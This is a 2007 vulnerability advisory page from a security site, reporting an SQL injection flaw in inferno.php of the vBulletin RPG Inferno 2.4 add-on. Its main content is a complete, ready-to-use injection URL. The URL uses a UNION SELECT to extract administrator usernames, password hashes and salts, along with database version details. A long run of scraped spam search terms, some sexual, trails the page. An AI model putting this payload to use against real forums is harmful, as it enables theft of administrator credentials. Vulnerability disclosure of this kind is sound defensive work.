about advertise contact
Search: Home Vulnerabilities Exploits News Articles RSS Feeds Archive Talk

exploits , vulnerabilities , articles , Inferno Technologies VBulletin RPG Inferno Inferno.PHP SQL Injection Vulnerability


Title Inferno Technologies VBulletin RPG Inferno Inferno.PHP SQL Injection Vulnerability
Published 2007-07-10-12:00AM
Updated 2008-03-20-01:50PM
Class Input Validation Error
CVE  
Remote  Yes
Local  No
Credit  t0pP8uZz & xprog are credited with the discovery of this vulnerability.
Vulnerable  Inferno Technologies vBulletin RPG Inferno 2.4
Not Vulnerable  
Code  No exploit is required. An example URI has been provided: http://www.example.com/forum/inferno.php?do=ScanMember&id=-1'/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,6,7,user(),database(),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,concat(username,0x3a,password,0x3a,salt),31,@@version,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47/**/from/**/user/**/where/**/usergroupid=6/**/limit/**/0,1/*
TXT  t3xt 1t!


Advertising

Copyright 2007, SecurityDot
Tue, 24 Nov 2009 17:21:25 +0000

Friends : milw0rm.com , secunia.com , securityfocus.com
GOOGLE
NEWS EXPLOITS VULNS
exploits , 0day exploits , newest exploits , vulnerabilities , newest vulnerabilities , 0day vulnerabilities , newest articles , linux articles , articles
wapFORsex. www.58xnlt php-nuke 2 http:/www. http://vid CMS+is+F.. news for c xxxero www.woaixi http:/lexu www.badhes OpenSSH 2. Sex.com www.woaixi http://blo www.58fb.c blog.jshuw squirrelca shiva http:%2F%2 /search/ex SANIA MIRJ sex video. mambo Remo http/SEXCO sex kurdis opensSH Phonertica www.ahbob. sexoldgirl world sex Www.tensex Sex of ind Phonertica Www.Actres hots msn 7 /search/ex IPB exploi Crack Data WWWSEX.COM Crack+Data www.lankax hot photo \r\news IPB-0504-s Www.statbr t373t php nuke d www.5bw888